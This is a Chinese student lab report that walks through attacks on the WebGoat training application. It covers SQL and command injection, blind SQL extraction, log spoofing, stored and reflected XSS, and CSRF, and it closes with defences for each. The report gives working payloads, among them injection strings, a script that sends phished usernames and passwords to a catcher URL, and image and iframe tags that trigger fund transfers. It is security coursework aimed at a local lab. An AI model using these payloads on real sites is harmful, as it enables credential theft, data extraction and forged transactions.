一、实验任务
(一)实验目标
理解常用网络攻击技术的基本原理
(二)实验内容
1.安装WebGoat
2.SQL注入攻击
3.XSS攻击
4.CSRF攻击
二、实验步骤
1.安装WebGoat
首先下载webgoat-container-7.0.1-war-exec.jar
。下载链接
之后在文件的目录下执行命令java -jar webgoat-container-7.0.1-war-exec.jar
打开浏览器在输入网址http://localhost:8080/WebGoat
进入WebGoat的登录界面,按照下方提示,我输入的是guest。
这是登陆后的界面
从上图看出,左侧功能栏只有Admin Functions
,如果正常的情况下会有很多很多(下面会体现出来),这说明我们没有配置jdk。
配置jdk具体参考这里
这里选择的版本为jdk-8u251-linux-x64.tar.gz
,按照这篇博客做的时候将他的版本改成这个就ok了。
使用java -version
和javac -version
命令来检验配置的成果如何。
这是配置前的
这是配置后的
配置成功后在文件目录下重新执行命令java -jar webgoat-container-7.0.1-war-exec.jar
,再进入浏览器,可以看到左侧的状态栏已经有很多的项目了。
2.SQL注入攻击。
(1)命令注入:Command Injection
首先在左侧工具栏中找到Injection Flaws
再找到Command Injection
(之后所有的攻击都能在左侧工具栏直接找到,就不一一赘述了)
右键单击页面选择查看元素(Q)
,来对网页源代码进行修改。
之后选择复选框中的一行代码,右键修改,在后面添加上"& netstat -an & ipconfig"
。
最后点击旁边的View
,就可以看到执行指令后的网络端口使用情况和IP地址,攻击成功。
(2)数字型注入:Numeric SQL Injection
左侧选中Numeric SQL Injection
,在未攻击前随意选中一个城市,比如纽约,再单击Go
,就会显示纽约的天气情况。
之后右键单击页面选择查看元素(Q)
,来对网页源代码进行修改。
随意选择一个城市(这次选择的是哥伦比亚),在value值中添加or 1=1
。
之后选择已经修改的城市,单击go
,可以看到系统执行了SELECT * FROM weather_data WHERE station = 101 or 1=1
,显示了所有城市的天气,攻击成功。
(3)日志欺骗:Log Spoofing
左侧功能栏选中Log Spoofing
,在文本框中输入smith Login Succeeded for username admin
,这样用户名后面的信息会在同一行显示,而不是在新的一行。
可以通过注入回车%0D
和换行符%0A
来修改日志。在username中输入Smith%0d%0aLogin Succeeded for username: admin
攻击者可以通过这种方式来向日志文件中添加恶意脚本。
(4)字符串注入:String SQL Injection
左侧功能栏选中String SQL Injection
,未攻击前,如若输入Smith
再单击Go
,则会显示Smith的信息。
输入' or 1=1 --
则可以将所有信息显示出来。
(5)数字型盲注入:Blind Numeric SQL Injection
左侧功能栏选中Blind Numeric SQL Injection
,分别使用下面两个语句进行查询看是否会返回有效的账号信息。
101 AND 1=1
101 AND 1=2
第一条语句很明显两个语句都成立,所以返回有效。
而第二条语句中1=2是不满足的,所以返回账号无效。
现在针对查询语句的后半部分构造复杂语句,使用下面的语句可以判断 PIN 数值是否大于10000。
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
页面提示账号无效,说明PIN码小于等于10000。
通过不断的调整数值范围来夹逼正确数值,最终判断出是2364。
最后在查询框中输入2364并提交。
(6)字符串型盲注入:Blind String SQL Injection
跟上一个很类似,区别为上一个要破解一个数值,这个要破解一个字符串。
比如先判断第一个字符是不是小于大写的“H”
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) < 'H' );
发现并不是,是大于H的,通过跟上一个一样的办法不停的扩大区间,最后确定第一位是大写的“J”
之后的字母以此类推,最终确定pin的字段是Jill,提交发现成功。
3.XSS攻击
(1)XSS 钓鱼:Phishing with XSS
左侧功能栏选中Cross-Site Scripting(XSS)——> Phishing with XSS
,并将以下代码输入到search
输入框中。
<head>
<body>
<div>
<div style="float:left;height:100px;50%;background-color:green;"></div>
<div style="float:left;height:100px;50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
单击search
,结果会出现代码中所指定的绿、红、蓝三块div,并在下方出现了用于欺骗用户的提示语This feature requires account login:
以及用户名和密码的输入框。
单击login
提交,可以看到反馈的信息。
(2)存储型XSS攻击:Stored XSS Attacks
左侧功能栏选中Stored XSS Attacks
。在title中任意输入,message中输入以下:
<head>
<body>
<div>
<div style="float:left;height:100px;50%;background-color:green;"></div>
<div style="float:left;height:100px;50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
之后点击submit
提交,下面Message List
会新增刚输入的title
的名字的链接。
之后单击链接可以看到熟悉的红绿蓝三色框,证明我们注入成功。
往下点击login
提交,可以成功获取用户名和密码。
(3)反射型XSS攻击:Reflected XSS Attacks
在Enter your three digit access code
框中输入代码
<script>alert("hiahiahia You've been attacked!!! I'm 20175309~");</script>
再单击Purchase
会成功显示警告框,里面是我们输入的内容。
4.CSRF攻击
(1)跨站请求伪造:Cross Site Request Forgery (CSRF)
首先查看页面右侧Parameters中的src和menu值。
之后在tilte中任意输入,在message中输入<img src="http://localhost:8080/WebGoat/attack?Screen=291&menu=900&transferFunds=5000" width="1" height="1" />
这里是以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。
点击Submit
提交。
提交后,在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,之后在后台进行一系列操作,比如转走用户的钱等等。
(2)绕过 CSRF 确认:CSRF Prompt By‐Pass
跟上一个很像,查看页面右侧的src和menu的值。
之后在title中随意输入,message中输入:
<iframe src="attack?Screen=295&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=295&menu=900&transferFunds=CONFIRM"> </iframe>
提交之后会生成链接,点开链接,攻击成功。
三、思考题
1.SQL攻击的原理,如何防御
原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
防护:(1)不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和双"-"进行转换等。
(2)不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
(3)不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
(4)不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
(5)应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装。
(6)sql注入的检测方法一般采取辅助软件或网站平台来检测,软件一般采用sql注入检测工具jsky,网站平台就有亿思网站安全平台检测工具。MDCSOFT SCAN等。采用MDCSOFT-IPS可以有效的防御SQL注入,XSS攻击等。
2.XSS攻击的原理,如何防御
原理:XSS的原理是WEB应用程序混淆了用户提交的数据和JS脚本的代码边界,导致浏览器把用户的输入当成了JS代码来执行。XSS的攻击对象是浏览器一端的普通用户。
防护:(1)不信任用户提交的任何内容,对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、REFER、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。尽量采用POST而非GET提交表单;对“<”,“>”,“;”,“””等字符做过滤;任何内容输出到页面之前都必须加以en-code,避免不小心把htmltag显示出来。
(2)实现Session 标记(session tokens)、CAPTCHA(验证码)系统或者HTTP引用头检查,以防功能被第三方网站所执行,对于用户提交信息的中的img等link,检查是否有重定向回本站、不是真的图片等可疑操作。
(3)cookie 防盗。避免直接在cookie中泄露用户隐私,例如email、密码,等等;通过使cookie和系统IP绑定来降低cookie泄露后的危险。这样攻击者得到的cookie没有实际价值,很难拿来直接进行重放攻击。
(4)确认接收的内容被妥善地规范化,仅包含最小的、安全的Tag(没有JavaScript),去掉任何对远程内容的引用(尤其是样式表和JavaScript),使用HTTPonly的cookie。
3.CSRF攻击原理,如何防御
原理:CSRF攻击是通过让一个已授权的用户的浏览器向应用发起一个恶意请求(用户尚不知情的情况)。只要用户的身份已被验证过且实际的请求已经通过用户的浏览器发送到目标应用,应用无法知道情况的来源是否是一个有效的交易或者这个用户是在知情的情况下点击这个链接。通过CSRF攻击,攻击者可以让受害者执行一些他们不知情的操作,比如购买操作,改变账户信息或者其它目标攻击应用提供的服务。
防护:(1)尽量使用post,限制get
get接口太容易被拿来做CSRF攻击,接口最好限制为post使用,get则无效,降低攻击风险。当然post并不是万无一失,攻击者只要构造一个form就可以,但需要在第三方页面做,这样就增加暴露的可能性。
(2)添加校验token
由于CSRF的本质在于攻击者欺骗用户去访问自己设置的地址,所以如果在访问敏感数据请求时,要求用户浏览器提供不保存在cookie,因此攻击者无法伪造的数据作为校验,那么攻击者就无法再运行CSRF攻击。
(3)检查Referer字段
CSRF伪造的请求与用户正常的请求相比最大的区别就是请求头中的Referer值不同,我们可以根据这点来防御CSRF。在接收请求的服务端判断请求的Referer头是否为正常的发送请求的页面,如果不是,则进行拦截。
(4)使用验证码
验证码强制用户必须与应用进行交互,才能完成最终请求。在通常情况下,验证码能很好遏制CSRF攻击。但是出于用户体验考虑,网站不能给所有的操作都加上验证码。因此验证码只能作为一种辅助手段,不能作为主要解决方案。
四、感想
最后一次实验进行的还蛮顺利的,没有遇到什么棘手的问题,也算结了一个好的尾。